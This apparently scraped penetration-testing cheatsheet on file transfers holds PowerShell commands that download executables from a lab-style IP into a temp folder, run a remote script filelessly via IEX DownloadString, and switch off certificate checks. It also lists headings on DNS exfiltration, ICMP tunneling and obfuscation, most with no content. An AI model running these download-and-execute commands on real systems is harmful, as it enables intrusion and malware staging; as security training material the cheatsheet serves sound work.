File Transfers - Cheatsheet

File Transfers Cheatsheet

This document contains essential file transfer commands and techniques for both Windows and Linux systems.

Windows File Transfers

PowerShell Downloads

# Basic download
(New-Object Net.WebClient).DownloadFile('http://10.10.10.10/file.exe', 'C:\Windows\Temp\file.exe')

# Fileless execution
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')

# HTTPS with certificate bypass
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
(New-Object Net.WebClient).DownloadFile('https://10.10.10.10/file.exe', 'C:\Windows\Temp\file.exe')

# Using Invoke-WebRequest
Invoke-WebRequest -Uri "http://10.10.10.10/file.exe" -OutFile "C:\Windows\Temp\file.exe" -UseBasicParsing

SMB Transfers

Base64 Transfers

BITS Transfers

FTP Transfers

PowerShell Uploads

LOLBins Transfers

Linux File Transfers

Curl and Wget

Fileless Execution

Bash /dev/tcp

Base64 Transfers

SCP Transfers

Netcat Transfers

OpenSSL Transfers

Python Web Server

Upload Server

File Upload with curl

PHP-based Transfers

PHP Web Server

PHP File Upload/Download Scripts

SFTP Transfers

Other Transfer Methods

Socat File Transfers

Data Exfiltration via DNS

ICMP Tunneling

Obfuscation Techniques

Split Files for Transfer

Encrypted Transfers

Steganography

Common Errors and Solutions

Connection Issues

Solution: Verify the server is running and port is correct

Permission Errors

Solution: Check file permissions on source/destination

SSL/TLS Errors

Solution: Add -k flag to curl or --no-check-certificate to wget

Transfer Speed Issues

Last updated